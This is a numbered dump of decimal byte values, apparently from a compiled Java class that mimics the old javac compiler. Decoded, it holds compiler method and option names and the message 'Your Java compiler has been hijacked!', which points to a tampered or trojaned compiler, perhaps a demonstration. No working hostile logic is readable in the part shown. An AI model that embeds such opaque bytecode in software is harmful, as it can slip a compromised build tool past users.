  1274. 222,
  1275. 12,
  1276. 0,
  1277. 243,
  1278. 1,
  1279. 3,
  1280. 12,
  1281. 1,
  1282. 25,
  1283. 1,
  1284. 3,
  1285. 12,
  1286. 1,
  1287. 85,
  1288. 1,
  1289. 92,
  1290. 12,
  1291. 0,
  1292. 205,
  1293. 1,
  1294. 80,
  1295. 12,
  1296. 1,
  1297. 77,
  1298. 0,
  1299. 224,
  1300. 12,
  1301. 1,
  1302. 56,
  1303. 1,
  1304. 76,
  1305. 12,
  1306. 0,
  1307. 219,
  1308. 1,
  1309. 40,
  1310. 12,
  1311. 0,
  1312. 247,
  1313. 1,
  1314. 29,
  1315. 12,
  1316. 0,
  1317. 226,
  1318. 1,
  1319. 76,
  1320. 12,
  1321. 0,
  1322. 225,
  1323. 1,
  1324. 40,
  1325. 12,
  1326. 0,
  1327. 243,
  1328. 1,
  1329. 81,
  1330. 12,
  1331. 1,
  1332. 55,
  1333. 1,
  1334. 80,
  1335. 12,
  1336. 0,
  1337. 243,
  1338. 1,
  1339. 105,
  1340. 12,
  1341. 1,
  1342. 97,
  1343. 1,
  1344. 76,
  1345. 12,
  1346. 1,
  1347. 103,
  1348. 1,
  1349. 80,
  1350. 1,
  1351. 0,
  1352. 37,
  1353. 89,
  1354. 111,
  1355. 117,
  1356. 114,
  1357. 32,
  1358. 74,
  1359. 97,
  1360. 118,
  1361. 97,
  1362. 32,
  1363. 99,
  1364. 111,
  1365. 109,
  1366. 112,
  1367. 105,
  1368. 108,
  1369. 101,
  1370. 114,
  1371. 32,
  1372. 104,
  1373. 97,
  1374. 115,
  1375. 32,
  1376. 98,
  1377. 101,
  1378. 101,
  1379. 110,
  1380. 32,
  1381. 104,
  1382. 105,
  1383. 106,
  1384. 97,
  1385. 99,
  1386. 107,
  1387. 101,
  1388. 100,
  1389. 33,
  1390. 1,
  1391. 0,
  1392. 15,
  1393. 104,
  1394. 97,
  1395. 115,
  1396. 77,
  1397. 111,
  1398. 114,
  1399. 101,
  1400. 69,
  1401. 108,
  1402. 101,
  1403. 109,
  1404. 101,
  1405. 110,
  1406. 116,
  1407. 115,
  1408. 1,
  1409. 0,
  1410. 11,
  1411. 102,
  1412. 97,
  1413. 116,
  1414. 97,
  1415. 108,
  1416. 46,
  1417. 101,
  1418. 114,
  1419. 114,
  1420. 111,
  1421. 114,
  1422. 1,
  1423. 0,
  1424. 6,
  1425. 109,
  1426. 107,
  1427. 100,
  1428. 105,
  1429. 114,
  1430. 115,
  1431. 1,
  1432. 0,
  1433. 14,
  1434. 108,
  1435. 111,
  1436. 97,
  1437. 100,
  1438. 68,
  1439. 101,
  1440. 102,
  1441. 105,
  1442. 110,
  1443. 105,
  1444. 116,
  1445. 105,
  1446. 111,
  1447. 110,
  1448. 1,
  1449. 0,
  1450. 15,
  1451. 76,
  1452. 105,
  1453. 110,
  1454. 101,
  1455. 78,
  1456. 117,
  1457. 109,
  1458. 98,
  1459. 101,
  1460. 114,
  1461. 84,
  1462. 97,
  1463. 98,
  1464. 108,
  1465. 101,
  1466. 1,
  1467. 0,
  1468. 9,
  1469. 103,
  1470. 101,
  1471. 116,
  1472. 83,
  1473. 116,
  1474. 97,
  1475. 116,
  1476. 117,
  1477. 115,
  1478. 1,
  1479. 0,
  1480. 18,
  1481. 105,
  1482. 110,
  1483. 118,
  1484. 97,
  1485. 108,
  1486. 105,
  1487. 100,
  1488. 32,
  1489. 97,
  1490. 114,
  1491. 103,
  1492. 117,
  1493. 109,
  1494. 101,
  1495. 110,
  1496. 116,
  1497. 58,
  1498. 32,
  1499. 1,
  1500. 0,
  1501. 8,
  1502. 105,
  1503. 115,
  1504. 90,
  1505. 105,
  1506. 112,
  1507. 112,
  1508. 101,
  1509. 100,
  1510. 1,
  1511. 0,
  1512. 12,
  1513. 103,
  1514. 101,
  1515. 116,
  1516. 81,
  1517. 117,
  1518. 97,
  1519. 108,
  1520. 105,
  1521. 102,
  1522. 105,
  1523. 101,
  1524. 114,
  1525. 1,
  1526. 0,
  1527. 15,
  1528. 106,
  1529. 97,
  1530. 118,
  1531. 97,
  1532. 46,
  1533. 99,
  1534. 108,
  1535. 97,
  1536. 115,
  1537. 115,
  1538. 46,
  1539. 112,
  1540. 97,
  1541. 116,
  1542. 104,
  1543. 1,
  1544. 0,
  1545. 36,
  1546. 40,
  1547. 76,
  1548. 115,
  1549. 117,
  1550. 110,
  1551. 47,
  1552. 116,
  1553. 111,
  1554. 111,
  1555. 108,
  1556. 115,
  1557. 47,
  1558. 106,
  1559. 97,
  1560. 118,
  1561. 97,
  1562. 47,
  1563. 67,
  1564. 108,
  1565. 97,
  1566. 115,
  1567. 115,
  1568. 68,
  1569. 101,
  1570. 99,
  1571. 108,
  1572. 97,
  1573. 114,
  1574. 97,
  1575. 116,
  1576. 105,
  1577. 111,
  1578. 110,
  1579. 59,
  1580. 41,
  1581. 86,
  1582. 1,
  1583. 0,
  1584. 5,
  1585. 99,
  1586. 108,
  1587. 111,
  1588. 115,
  1589. 101,
  1590. 1,
  1591. 0,
  1592. 3,
  1593. 111,
  1594. 117,
  1595. 116,
  1596. 1,
  1597. 0,
  1598. 10,
  1599. 115,
  1600. 116,
  1601. 97,
  1602. 114,
  1603. 116,
  1604. 115,
  1605. 87,
  1606. 105,
  1607. 116,
  1608. 104,
  1609. 1,
  1610. 0,
  1611. 6,
  1612. 45,
  1613. 100,
  1614. 101,
  1615. 98,
  1616. 117,
  1617. 103,
  1618. 1,
  1619. 0,
  1620. 5,
  1621. 101,
  1622. 114,
  1623. 114,
  1624. 111,
  1625. 114,
  1626. 1,
  1627. 0,
  1628. 9,
  1629. 103,
  1630. 101,
  1631. 116,
  1632. 83,
  1633. 111,
  1634. 117,
  1635. 114,
  1636. 99,
  1637. 101,
  1638. 1,
  1639. 0,
  1640. 21,
  1641. 76,
  1642. 106,
  1643. 97,
  1644. 118,
  1645. 97,
  1646. 47,
  1647. 105,
  1648. 111,
  1649. 47,
  1650. 80,
  1651. 114,
  1652. 105,
  1653. 110,
  1654. 116,
  1655. 83,
  1656. 116,
  1657. 114,
  1658. 101,
  1659. 97,
  1660. 109,
  1661. 59,
  1662. 1,
  1663. 0,
  1664. 10,
  1665. 103,
  1666. 101,
  1667. 116,
  1668. 67,
  1669. 108,
  1670. 97,
  1671. 115,
  1672. 115,
  1673. 101,
  1674. 115,
  1675. 1,
  1676. 0,
  1677. 29,
  1678. 40,
  1679. 41,
  1680. 76,
  1681. 115,
  1682. 117,
  1683. 110,
  1684. 47,
  1685. 116,
  1686. 111,
  1687. 111,
  1688. 108,
  1689. 115,
  1690. 47,
  1691. 106,
  1692. 97,
  1693. 118,
  1694. 97,
  1695. 47,
  1696. 73,
  1697. 100,
  1698. 101,
  1699. 110,
  1700. 116,
  1701. 105,
  1702. 102,
  1703. 105,
  1704. 101,
  1705. 114,
  1706. 59,
  1707. 1,
  1708. 0,
  1709. 22,
  1710. 106,
  1711. 97,
  1712. 118,
  1713. 97,
  1714. 47,
  1715. 108,
  1716. 97,
  1717. 110,
  1718. 103,
  1719. 47,
  1720. 83,
  1721. 116,
  1722. 114,
  1723. 105,
  1724. 110,
  1725. 103,
  1726. 66,
  1727. 117,
  1728. 102,
  1729. 102,
  1730. 101,
  1731. 114,
  1732. 1,
  1733. 0,
  1734. 38,
  1735. 40,
  1736. 76,
  1737. 106,
  1738. 97,
  1739. 118,
  1740. 97,
  1741. 47,
  1742. 108,
  1743. 97,
  1744. 110,
  1745. 103,
  1746. 47,
  1747. 83,
  1748. 116,
  1749. 114,
  1750. 105,
  1751. 110,
  1752. 103,
  1753. 59,
  1754. 41,
  1755. 76,
  1756. 106,
  1757. 97,
  1758. 118,
  1759. 97,
  1760. 47,
  1761. 108,
  1762. 97,
  1763. 110,
  1764. 103,
  1765. 47,
  1766. 83,
  1767. 116,
  1768. 114,
  1769. 105,
  1770. 110,
  1771. 103,
  1772. 59,
  1773. 1,
  1774. 0,
  1775. 11,
  1776. 110,
  1777. 101,
  1778. 120,
  1779. 116,
  1780. 69,
  1781. 108,
  1782. 101,
  1783. 109,
  1784. 101,
  1785. 110,
  1786. 116,
  1787. 1,
  1788. 0,
  1789. 7,
  1790. 103,
  1791. 101,
  1792. 116,
  1793. 80,
  1794. 97,
  1795. 116,
  1796. 104,
  1797. 1,
  1798. 0,
  1799. 9,
  1800. 77,
  1801. 97,
  1802. 105,
  1803. 110,
  1804. 46,
  1805. 106,
  1806. 97,
  1807. 118,
  1808. 97,
  1809. 1,
  1810. 0,
  1811. 7,
  1812. 99,
  1813. 111,
  1814. 109,
  1815. 112,
  1816. 105,
  1817. 108,
  1818. 101,
  1819. 1,
  1820. 0,
  1821. 8,
  1822. 103,
  1823. 101,
  1824. 116,
  1825. 69,
  1826. 114,
  1827. 114,
  1828. 111,
  1829. 114,
  1830. 1,
  1831. 0,
  1832. 9,
  1833. 91,
  1834. 100,
  1835. 111,
  1836. 110,
  1837. 101,
  1838. 32,
  1839. 105,
  1840. 110,
  1841. 32,
  1842. 1,
  1843. 0,
  1844. 25,
  1845. 115,
  1846. 117,
  1847. 110,
  1848. 47,
  1849. 116,
  1850. 111,
  1851. 111,
  1852. 108,
  1853. 115,
  1854. 47,
  1855. 106,
  1856. 97,
  1857. 118,
  1858. 97,
  1859. 47,
  1860. 73,
  1861. 100,
  1862. 101,
  1863. 110,
  1864. 116,
  1865. 105,
  1866. 102,
  1867. 105,
  1868. 101,
  1869. 114,
  1870. 1,
  1871. 0,
  1872. 10,
  1873. 69,
  1874. 120,
  1875. 99,
  1876. 101,
  1877. 112,
  1878. 116,
  1879. 105,
  1880. 111,
  1881. 110,
  1882. 115,
  1883. 1,
  1884. 0,
  1885. 39,
  1886. 40,
  1887. 76,
  1888. 106,
  1889. 97,
  1890. 118,
  1891. 97,
  1892. 47,
  1893. 108,
  1894. 97,
  1895. 110,
  1896. 103,
  1897. 47,
  1898. 83,
  1899. 116,
  1900. 114,
  1901. 105,
  1902. 110,
  1903. 103,
  1904. 59,
  1905. 76,
  1906. 106,
  1907. 97,
  1908. 118,
  1909. 97,
  1910. 47,
  1911. 108,
  1912. 97,
  1913. 110,
  1914. 103,
  1915. 47,
  1916. 83,
  1917. 116,
  1918. 114,
  1919. 105,
  1920. 110,
  1921. 103,
  1922. 59,
  1923. 41,
  1924. 86,
  1925. 1,
  1926. 0,
  1927. 18,
  1928. 103,
  1929. 101,
  1930. 116,
  1931. 67,
  1932. 108,
  1933. 97,
  1934. 115,
  1935. 115,
  1936. 68,
  1937. 101,
  1938. 102,
  1939. 105,
  1940. 110,
  1941. 105,
  1942. 116,
  1943. 105,
  1944. 111,
  1945. 110,
  1946. 1,
  1947. 0,
  1948. 11,
  1949. 102,
  1950. 108,
  1951. 117,
  1952. 115,
  1953. 104,
  1954. 69,
  1955. 114,
  1956. 114,
  1957. 111,
  1958. 114,
  1959. 115,
  1960. 1,
  1961. 0,
  1962. 31,
  1963. 115,
  1964. 117,
  1965. 110,
  1966. 47,
  1967. 116,
  1968. 111,
  1969. 111,
  1970. 108,
  1971. 115,
  1972. 47,
  1973. 106,
  1974. 97,
  1975. 118,
  1976. 97,
  1977. 47,
  1978. 67,
  1979. 108,
  1980. 97,
  1981. 115,
  1982. 115,
  1983. 68,
  1984. 101,
  1985. 99,
  1986. 108,
  1987. 97,
  1988. 114,
  1989. 97,
  1990. 116,
  1991. 105,
  1992. 111,
  1993. 110,
  1994. 1,
  1995. 0,
  1996. 7,
  1997. 114,
  1998. 101,
  1999. 112,
  2000. 108,
  2001. 97,
  2002. 99,
  2003. 101,
  2004. 1,
  2005. 0,
  2006. 5,
  2007. 114,
  2008. 101,
  2009. 115,
  2010. 101,
  2011. 116,
  2012. 1,
  2013. 0,
  2014. 4,
  2015. 101,
  2016. 120,
  2017. 105,
  2018. 116,
  2019. 1,
  2020. 0,
  2021. 8,
  2022. 101,
  2023. 108,
  2024. 101,
  2025. 109,
  2026. 101,
  2027. 110,
  2028. 116,
  2029. 115,
  2030. 1,
  2031. 0,
  2032. 8,
  2033. 45,
  2034. 110,
  2035. 111,
  2036. 119,
  2037. 114,
  2038. 105,
  2039. 116,
  2040. 101,
  2041. 1,
  2042. 0,
  2043. 16,
  2044. 106,
  2045. 97,
  2046. 118,
  2047. 97,
  2048. 47,
  2049. 108,
  2050. 97,
  2051. 110,
  2052. 103,
  2053. 47,
  2054. 79,
  2055. 98,
  2056. 106,
  2057. 101,
  2058. 99,
  2059. 116,
  2060. 1,
  2061. 0,
  2062. 6,
  2063. 60,
  2064. 105,
  2065. 110,
  2066. 105,
  2067. 116,
  2068. 62,
  2069. 1,
  2070. 0,
  2071. 27,
  2072. 40,
  2073. 74,
  2074. 41,
  2075. 76,
  2076. 106,
  2077. 97,
  2078. 118,
  2079. 97,
  2080. 47,
  2081. 108,
  2082. 97,
  2083. 110,
  2084. 103,
  2085. 47,
  2086. 83,
  2087. 116,
  2088. 114,
  2089. 105,
  2090. 110,
  2091. 103,
  2092. 66,
  2093. 117,
  2094. 102,
  2095. 102,
  2096. 101,
  2097. 114,
  2098. 59,
  2099. 1,
  2100. 0,
  2101. 27,
  2102. 40,
  2103. 73,
  2104. 41,
  2105. 76,
  2106. 106,
  2107. 97,
  2108. 118,
  2109. 97,
  2110. 47,
  2111. 108,
  2112. 97,
  2113. 110,
  2114. 103,
  2115. 47,
  2116. 83,
  2117. 116,
  2118. 114,
  2119. 105,
  2120. 110,
  2121. 103,
  2122. 66,
  2123. 117,
  2124. 102,
  2125. 102,
  2126. 101,
  2127. 114,
  2128. 59,
  2129. 1,
  2130. 0,
  2131. 24,
  2132. 106,
  2133. 97,
  2134. 118,
  2135. 97,
  2136. 47,
  2137. 105,
  2138. 111,
  2139. 47,
  2140. 70,
  2141. 105,
  2142. 108,
  2143. 101,
  2144. 79,
  2145. 117,
  2146. 116,
  2147. 112,
  2148. 117,
  2149. 116,
  2150. 83,
  2151. 116,
  2152. 114,
  2153. 101,
  2154. 97,
  2155. 109,
  2156. 1,
  2157. 0,
  2158. 8,
  2159. 101,
  2160. 110,
  2161. 100,
  2162. 115,
  2163. 87,
  2164. 105,
  2165. 116,
  2166. 104,
  2167. 1,
  2168. 0,
  2169. 9,
  2170. 32,
  2171. 119,
  2172. 97,
  2173. 114,
  2174. 110,
  2175. 105,
  2176. 110,
  2177. 103,
  2178. 115,
  2179. 1,
  2180. 0,
  2181. 26,
  2182. 115,
  2183. 117,
  2184. 110,
  2185. 47,
  2186. 116,
  2187. 111,
  2188. 111,
  2189. 108,
  2190. 115,
  2191. 47,
  2192. 106,
  2193. 97,
  2194. 118,
  2195. 97,
  2196. 47,
  2197. 69,
  2198. 110,
  2199. 118,
  2200. 105,
  2201. 114,
  2202. 111,
  2203. 110,
  2204. 109,
  2205. 101,
  2206. 110,
  2207. 116,
  2208. 1,
  2209. 0,
  2210. 24,
  2211. 115,
  2212. 117,
  2213. 110,
  2214. 47,
  2215. 116,
  2216. 111,
  2217. 111,
  2218. 108,
  2219. 115,
  2220. 47,
  2221. 106,
  2222. 97,
  2223. 118,
  2224. 97,
  2225. 47,
  2226. 67,
  2227. 111,
  2228. 110,
  2229. 115,
  2230. 116,
  2231. 97,
  2232. 110,
  2233. 116,
  2234. 115,
  2235. 1,
  2236. 0,
  2237. 29,
  2238. 106,
  2239. 97,
  2240. 118,
  2241. 97,
  2242. 47,
  2243. 105,
  2244. 111,
  2245. 47,
  2246. 70,
  2247. 105,
  2248. 108,
  2249. 101,
  2250. 78,
  2251. 111,
  2252. 116,
  2253. 70,
  2254. 111,
  2255. 117,
  2256. 110,
  2257. 100,
  2258. 69,
  2259. 120,
  2260. 99,
  2261. 101,
  2262. 112,
  2263. 116,
  2264. 105,
  2265. 111,
  2266. 110,
  2267. 1,
  2268. 0,
  2269. 24,
  2270. 115,
  2271. 117,
  2272. 110,
  2273. 47,
  2274. 116,
  2275. 111,
  2276. 111,
  2277. 108,
  2278. 115,
  2279. 47,
  2280. 106,
  2281. 97,
  2282. 118,
  2283. 97,
  2284. 47,
  2285. 67,
  2286. 108,
  2287. 97,
  2288. 115,
  2289. 115,
  2290. 70,
  2291. 105,
  2292. 108,
  2293. 101,
  2294. 1,
  2295. 0,
  2296. 2,
  2297. 58,
  2298. 32,
  2299. 1,
  2300. 0,
  2301. 24,
  2302. 115,
  2303. 117,
  2304. 110,
  2305. 47,
  2306. 116,
  2307. 111,
  2308. 111,
  2309. 108,
  2310. 115,
  2311. 47,
  2312. 106,
  2313. 97,
  2314. 118,
  2315. 97,
  2316. 47,
  2317. 67,
  2318. 108,
  2319. 97,
  2320. 115,
  2321. 115,
  2322. 80,
  2323. 97,
  2324. 116,
  2325. 104,
  2326. 1,
  2327. 0,
  2328. 29,
  2329. 106,
  2330. 97,
  2331. 118,
  2332. 97,
  2333. 47,
  2334. 105,
  2335. 111,
  2336. 47,
  2337. 66,
  2338. 121,
  2339. 116,
  2340. 101,
  2341. 65,
  2342. 114,
  2343. 114,
  2344. 97,
  2345. 121,
  2346. 79,
  2347. 117,
  2348. 116,
  2349. 112,
  2350. 117,
  2351. 116,
  2352. 83,
  2353. 116,
  2354. 114,
  2355. 101,
  2356. 97,
  2357. 109,
  2358. 1,
  2359. 0,
  2360. 32,
  2361. 115,
  2362. 117,
  2363. 110,
  2364. 47,
  2365. 116,
  2366. 111,
  2367. 111,
  2368. 108,
  2369. 115,
  2370. 47,
  2371. 106,
  2372. 97,
  2373. 118,
  2374. 97,
  2375. 99,
  2376. 47,
  2377. 66,
  2378. 97,
  2379. 116,
  2380. 99,
  2381. 104,
  2382. 69,
  2383. 110,
  2384. 118,
  2385. 105,
  2386. 114,
  2387. 111,
  2388. 110,
  2389. 109,
  2390. 101,
  2391. 110,
  2392. 116,
  2393. 1,
  2394. 0,
  2395. 19,
  2396. 106,
  2397. 97,
  2398. 118,
  2399. 97,
  2400. 47,
  2401. 105,
  2402. 111,
  2403. 47,
  2404. 73,
  2405. 79,
  2406. 69,
  2407. 120,
  2408. 99,
  2409. 101,
  2410. 112,
  2411. 116,
  2412. 105,
  2413. 111,
  2414. 110,
  2415. 1,
  2416. 0,
  2417. 5,
  2418. 102,
  2419. 108,
  2420. 97,
  2421. 103,
  2422. 115,
  2423. 1,
  2424. 0,
  2425. 4,
  2426. 40,
  2427. 73,
  2428. 41,
  2429. 86,
  2430. 1,
  2431. 0,
  2432. 53,
  2433. 40,
  2434. 76,
  2435. 115,
  2436. 117,
  2437. 110,
  2438. 47,
  2439. 116,
  2440. 111,
  2441. 111,
  2442. 108,
  2443. 115,
  2444. 47,
  2445. 106,
  2446. 97,
  2447. 118,
  2448. 97,
  2449. 47,
  2450. 69,
  2451. 110,
  2452. 118,
  2453. 105,
  2454. 114,
  2455. 111,
  2456. 110,
  2457. 109,
  2458. 101,
  2459. 110,
  2460. 116,
  2461. 59,
  2462. 76,
  2463. 106,
  2464. 97,
  2465. 118,
  2466. 97,
  2467. 47,
  2468. 105,
  2469. 111,
  2470. 47,
  2471. 79,
  2472. 117,
  2473. 116,
  2474. 112,
  2475. 117,
  2476. 116,
  2477. 83,
  2478. 116,
  2479. 114,
  2480. 101,
  2481. 97,
  2482. 109,
  2483. 59,
  2484. 41,
  2485. 86,
  2486. 1,
  2487. 0,
  2488. 16,
  2489. 106,
  2490. 97,
  2491. 118,
  2492. 97,
  2493. 47,
  2494. 108,
  2495. 97,
  2496. 110,
  2497. 103,
  2498. 47,
  2499. 83,
  2500. 121,
  2501. 115,
  2502. 116,
  2503. 101,
  2504. 109,
  2505. 1,
  2506. 0,
  2507. 7,
  2508. 112,
  2509. 114,
  2510. 105,
  2511. 110,
  2512. 116,
  2513. 108,
  2514. 110,
  2515. 1,
  2516. 0,
  2517. 25,
  2518. 40,
  2519. 41,
  2520. 76,
  2521. 106,
  2522. 97,
  2523. 118,
  2524. 97,
  2525. 47,
  2526. 117,
  2527. 116,
  2528. 105,
  2529. 108,
  2530. 47,
  2531. 69,
  2532. 110,
  2533. 117,
  2534. 109,
  2535. 101,
  2536. 114,
  2537. 97,
  2538. 116,
  2539. 105,
  2540. 111,
  2541. 110,
  2542. 59,
  2543. 1,
  2544. 0,
  2545. 13,
  2546. 67,
  2547. 111,
  2548. 110,
  2549. 115,
  2550. 116,
  2551. 97,
  2552. 110,
  2553. 116,
  2554. 86,
  2555. 97,
  2556. 108,
  2557. 117,
  2558. 101,
  2559. 1,
  2560. 0,
  2561. 4,
  2562. 40,
  2563. 73,
  2564. 41,
  2565. 67,
  2566. 1,
  2567. 0,
  2568. 12,
  2569. 106,
  2570. 97,
  2571. 118,
  2572. 97,
  2573. 47,
  2574. 105,
  2575. 111,
  2576. 47,
  2577. 70,
  2578. 105,
  2579. 108,
  2580. 101,
  2581. 1,
  2582. 0,
  2583. 7,
  2584. 118,
  2585. 101,
  2586. 114,
  2587. 98,
  2588. 111,
  2589. 115,
  2590. 101,
  2591. 1,
  2592. 0,
  2593. 16,
  2594. 106,
  2595. 97,
  2596. 118,
  2597. 97,
  2598. 47,
  2599. 108,
  2600. 97,
  2601. 110,
  2602. 103,
  2603. 47,
  2604. 83,
  2605. 116,
  2606. 114,
  2607. 105,
  2608. 110,
  2609. 103,
  2610. 1,
  2611. 0,
  2612. 15,
  2613. 112,
  2614. 114,
  2615. 105,
  2616. 110,
  2617. 116,
  2618. 83,
  2619. 116,
  2620. 97,
  2621. 99,
  2622. 107,
  2623. 84,
  2624. 114,
  2625. 97,
  2626. 99,
  2627. 101,
  2628. 1,
  2629. 0,
  2630. 62,
  2631. 40,
  2632. 76,
  2633. 115,
  2634. 117,
  2635. 110,
  2636. 47,
  2637. 116,
  2638. 111,
  2639. 111,
  2640. 108,
  2641. 115,
  2642. 47,
  2643. 106,
  2644. 97,
  2645. 118,
  2646. 97,
  2647. 47,
  2648. 69,
  2649. 110,
  2650. 118,
  2651. 105,
  2652. 114,
  2653. 111,
  2654. 110,
  2655. 109,
  2656. 101,
  2657. 110,
  2658. 116,
  2659. 59,
  2660. 41,
  2661. 76,
  2662. 115,
  2663. 117,
  2664. 110,
  2665. 47,
  2666. 116,
  2667. 111,
  2668. 111,
  2669. 108,
  2670. 115,
  2671. 47,
  2672. 106,
  2673. 97,
  2674. 118,
  2675. 97,
  2676. 47,
  2677. 67,
  2678. 108,
  2679. 97,
  2680. 115,
  2681. 115,
  2682. 68,
  2683. 101,
  2684. 102,
  2685. 105,
  2686. 110,
  2687. 105,
  2688. 116,
  2689. 105,
  2690. 111,
  2691. 110,
  2692. 59,
  2693. 1,
  2694. 0,
  2695. 7,
  2696. 45,
  2697. 110,
  2698. 111,
  2699. 119,
  2700. 97,
  2701. 114,
  2702. 110,
  2703. 1,
  2704. 0,
  2705. 19,
  2706. 106,
  2707. 97,
  2708. 118,
  2709. 97,
  2710. 47,
  2711. 105,
  2712. 111,
  2713. 47,
  2714. 80,
  2715. 114,
  2716. 105,
  2717. 110,
  2718. 116,
  2719. 83,
  2720. 116,
  2721. 114,
  2722. 101,
  2723. 97,
  2724. 109,
  2725. 1,
  2726. 0,
  2727. 10,
  2728. 83,
  2729. 111,
  2730. 117,
  2731. 114,
  2732. 99,
  2733. 101,
  2734. 70,
  2735. 105,
  2736. 108,
  2737. 101,
  2738. 1,
  2739. 0,
  2740. 7,
  2741. 49,
  2742. 32,
  2743. 101,
  2744. 114,
  2745. 114,
  2746. 111,
  2747. 114,
  2748. 1,
  2749. 0,
  2750. 6,
  2751. 99,
  2752. 104,
  2753. 97,
  2754. 114,
  2755. 65,
  2756. 116,
  2757. 1,
  2758. 0,
  2759. 9,
  2760. 110,
  2761. 119,
  2762. 97,
  2763. 114,
  2764. 110,
  2765. 105,
  2766. 110,
  2767. 103,
  2768. 115,
  2769. 1,
  2770. 0,
  2771. 35,
  2772. 40,
  2773. 76,
  2774. 106,
  2775. 97,
  2776. 118,
  2777. 97,
  2778. 47,
  2779. 105,
  2780. 111,
  2781. 47,
  2782. 70,
  2783. 105,
  2784. 108,
  2785. 101,
  2786. 59,
  2787. 76,
  2788. 106,
  2789. 97,
  2790. 118,
  2791. 97,
  2792. 47,
  2793. 108,
  2794. 97,
  2795. 110,
  2796. 103,
  2797. 47,
  2798. 83,
  2799. 116,
  2800. 114,
  2801. 105,
  2802. 110,
  2803. 103,
  2804. 59,
  2805. 41,
  2806. 86,
  2807. 1,
  2808. 0,
  2809. 9,
  2810. 112,
  2811. 97,
  2812. 114,
  2813. 115,
  2814. 101,
  2815. 70,
  2816. 105,
  2817. 108,
  2818. 101,
  2819. 1,
  2820. 0,
  2821. 10,
  2822. 97,
  2823. 100,
  2824. 100,
  2825. 69,
  2826. 108,
  2827. 101,
  2828. 109,
  2829. 101,
  2830. 110,
  2831. 116,
  2832. 1,
  2833. 0,
  2834. 17,
  2835. 99,
  2836. 117,
  2837. 114,
  2838. 114,
  2839. 101,
  2840. 110,
  2841. 116,
  2842. 84,
  2843. 105,
  2844. 109,
  2845. 101,
  2846. 77,
  2847. 105,
  2848. 108,
  2849. 108,
  2850. 105,
  2851. 115,
  2852. 1,
  2853. 0,
  2854. 5,
  2855. 119,
  2856. 114,
  2857. 105,
  2858. 116,
  2859. 101,
  2860. 1,
  2861. 0,
  2862. 22,
  2863. 76,
  2864. 106,
  2865. 97,
  2866. 118,
  2867. 97,
  2868. 47,
  2869. 105,
  2870. 111,
  2871. 47,
  2872. 79,
  2873. 117,
  2874. 116,
  2875. 112,
  2876. 117,
  2877. 116,
  2878. 83,
  2879. 116,
  2880. 114,
  2881. 101,
  2882. 97,
  2883. 109,
  2884. 59,
  2885. 1,
  2886. 0,
  2887. 8,
  2888. 45,
  2889. 118,
  2890. 101,
  2891. 114,
  2892. 98,
  2893. 111,
  2894. 115,
  2895. 101,
  2896. 1,
  2897. 0,
  2898. 14,
  2899. 76,
  2900. 111,
  2901. 99,
  2902. 97,
  2903. 108,
  2904. 86,
  2905. 97,
  2906. 114,
  2907. 105,
  2908. 97,
  2909. 98,
  2910. 108,
  2911. 101,
  2912. 115,
  2913. 1,
  2914. 0,
  2915. 21,
  2916. 40,
  2917. 76,
  2918. 106,
  2919. 97,
  2920. 118,
  2921. 97,
  2922. 47,
  2923. 108,
  2924. 97,
  2925. 110,
  2926. 103,
  2927. 47,
  2928. 83,
  2929. 116,
  2930. 114,
  2931. 105,
  2932. 110,
  2933. 103,
  2934. 59,
  2935. 41,
  2936. 90,
  2937. 1,
  2938. 0,
  2939. 21,
  2940. 40,
  2941. 76,
  2942. 106,
  2943. 97,
  2944. 118,
  2945. 97,
  2946. 47,
  2947. 108,
  2948. 97,
  2949. 110,
  2950. 103,
  2951. 47,
  2952. 83,
  2953. 116,
  2954. 114,
  2955. 105,
  2956. 110,
  2957. 103,
  2958. 59,
  2959. 41,
  2960. 86,
  2961. 1,
  2962. 0,
  2963. 6,
  2964. 97,
  2965. 112,
  2966. 112,
  2967. 101,
  2968. 110,
  2969. 100,
  2970. 1,
  2971. 0,
  2972. 7,
  2973. 32,
  2974. 101,
  2975. 114,
  2976. 114,
  2977. 111,
  2978. 114,
  2979. 115,
  2980. 1,
  2981. 0,
  2982. 51,
  2983. 40,
  2984. 76,
  2985. 106,
  2986. 97,
  2987. 118,
  2988. 97,
  2989. 47,
  2990. 105,
  2991. 111,
  2992. 47,
  2993. 79,
  2994. 117,
  2995. 116,
  2996. 112,
  2997. 117,
  2998. 116,
  2999. 83,
  3000. 116,
  3001. 114,
  3002. 101,
  3003. 97,
  3004. 109,
  3005. 59,
  3006. 76,
  3007. 115,
  3008. 117,
  3009. 110,
  3010. 47,
  3011. 116,
  3012. 111,
  3013. 111,
  3014. 108,
  3015. 115,
  3016. 47,
  3017. 106,
  3018. 97,
  3019. 118,
  3020. 97,
  3021. 47,
  3022. 67,
  3023. 108,
  3024. 97,
  3025. 115,
  3026. 115,
  3027. 80,
  3028. 97,
  3029. 116,
  3030. 104,
  3031. 59,
  3032. 41,
  3033. 86,
  3034. 1,
  3035. 0,
  3036. 9,
  3037. 49,
  3038. 32,
  3039. 119,
  3040. 97,
  3041. 114,
  3042. 110,
  3043. 105,
  3044. 110,
  3045. 103,
  3046. 1,
  3047. 0,
  3048. 22,
  3049. 40,
  3050. 67,
  3051. 67,
  3052. 41,
  3053. 76,
  3054. 106,
  3055. 97,
  3056. 118,
  3057. 97,
  3058. 47,
  3059. 108,
  3060. 97,
  3061. 110,
  3062. 103,
  3063. 47,
  3064. 83,
  3065. 116,
  3066. 114,
  3067. 105,
  3068. 110,
  3069. 103,
  3070. 59,
  3071. 1,
  3072. 0,
  3073. 6,
  3074. 101,
  3075. 113,
  3076. 117,
  3077. 97,
  3078. 108,
  3079. 115,
  3080. 1,
  3081. 0,
  3082. 9,
  3083. 99,
  3084. 97,
  3085. 110,
  3086. 116,
  3087. 46,
  3088. 114,
  3089. 101,
  3090. 97,
  3091. 100,
  3092. 1,
  3093. 0,
  3094. 3,
  3095. 109,
  3096. 115,
  3097. 93,
  3098. 1,
  3099. 0,
  3100. 5,
  3101. 117,
  3102. 115,
  3103. 97,
  3104. 103,
  3105. 101,
  3106. 1,
  3107. 0,
  3108. 20,
  3109. 40,
  3110. 41,
  3111. 76,
  3112. 106,
  3113. 97,
  3114. 118,
  3115. 97,
  3116. 47,
  3117. 108,
  3118. 97,
  3119. 110,
  3120. 103,
  3121. 47,
  3122. 79,
  3123. 98,
  3124. 106,
  3125. 101,
  3126. 99,
  3127. 116,
  3128. 59,
  3129. 1,
  3130. 0,
  3131. 40,
  3132. 40,
  3133. 73,
  3134. 76,
  3135. 106,
  3136. 97,
  3137. 118,
  3138. 97,
  3139. 47,
  3140. 108,
  3141. 97,
  3142. 110,
  3143. 103,
  3144. 47,
  3145. 83,
  3146. 116,
  3147. 114,
  3148. 105,
